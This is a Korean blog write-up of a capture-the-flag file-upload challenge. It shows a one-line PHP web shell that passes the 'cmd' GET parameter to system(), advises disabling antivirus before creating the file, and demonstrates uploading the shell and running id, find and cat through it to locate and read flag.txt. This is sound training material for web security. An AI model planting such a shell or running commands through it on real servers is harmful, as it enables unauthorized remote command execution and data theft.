본문 바로가기
웹 해킹

Web Shell 1 (파일업로드 문제 1)

by kk-nic 2024. 7. 25.

문제

php 웹 쉘을 올려서, flag.txt 파일을 찾아내라!

http://ctf.segfaulthub.com:8989/webshell_1/

 

들어가보자.

 

로그인을 하기 위해, 회원가입 진행 

아이디 : as

비밀번호 : as 

로그인 후 게시판으로 가자.

 

 

공격 파일 생성 

먼저 웹 쉘 파일을 만들어보자.

윈도우 OS 에서 진행을 하고 있다면, 반드시 백신을 먼저는 꺼야한다.

(안끄면 백신이 파일 만들자 마자, 지웁니다.)

 

 

메모장을 생성 

<?php
	echo system($_GET['cmd']);
?>

저장 

 

생성한 메모장 우클릭 - 이름 바꾸기 -  test.php (확장자까지 바꿔야합니다.)

 

 

자, 이제 공격 파일을 준비가 되었다.

 

파일 업로드 공격

게시판

파일 선택 클릭 

공격파일 업로드

열기 - create 클릭

 

 

글생성 성공!

 

생성 한 글로 들어가보자.

URL 확인

마우스를 Download 버튼에 올려도 아래 이미지가 존재하는 URL이 확인된다.

확실하게 하기 위해서 Download 우클릭- 링크 주소 복사 

 

복사후 새탭에서 해당 URL 그대로 요청 보내보자.

아무런 액션이 없음. 

이유는? 

공격 코드로 GET 메서드를 사용했기 때문에 

<?php
	echo system($_GET['cmd']);
?>

URL의 파라미터의 값을 추가 해줘야한다.

 

어떻게?

웹사이트주소.com/test.php?cmd=값 

 

실제 공격코드는?

http://ctf.segfaulthub.com:8989/webshell_1/files/as/test.php?cmd=id

cmd 파라미터의 값으로 리눅스의 id 명령어를 값으로 줬다.

UID, GID 를 통해서 현재 리눅스 계정이 어떤 권한의 계정인지 파악 가능하다.

 

이 문제를 서버 어딘가에 있는 flag.txt 를 찾는 내용이였다.

find 명령어를 사용하면 찾을 수 있다.

find / -name flag.txt

 

http://ctf.segfaulthub.com:8989/webshell_1/files/as/test.php?cmd=find / -name flag.txt 

으로 요청을 보내보자. 

 

URL 인코딩 되면 아래 처럼 표시됨

http://ctf.segfaulthub.com:8989/webshell_1/files/as/test.php?cmd=find%20/%20-name%20flag.txt

/app/webshell_1/important_data/flag.txt 

경로에 flag.txt 있다고 한다.

 

cat 명령어로 확인을 해보자.

cat /app/webshell_1/important_data/flag.txt

 

http://ctf.segfaulthub.com:8989/webshell_1/files/as/test.php?cmd=cat /app/webshell_1/important_data/flag.txt 

로 요청을 보내보자.

 

URL 인코딩 된 URL

http://ctf.segfaulthub.com:8989/webshell_1/files/as/test.php?cmd=cat%20/app/webshell_1/important_data/flag.txt 

 

 

플래그 획득 성공 했다.

 

'웹 해킹' 카테고리의 다른 글

Web Shell 3 (파일업로드 문제 3)  (0) 2024.07.25
Web Shell 2 (파일업로드 문제 2)  (0) 2024.07.25
파일 업로드 공격  (0) 2024.07.25
SOP / CORS  (0) 2024.07.25
CSRF  (0) 2024.07.25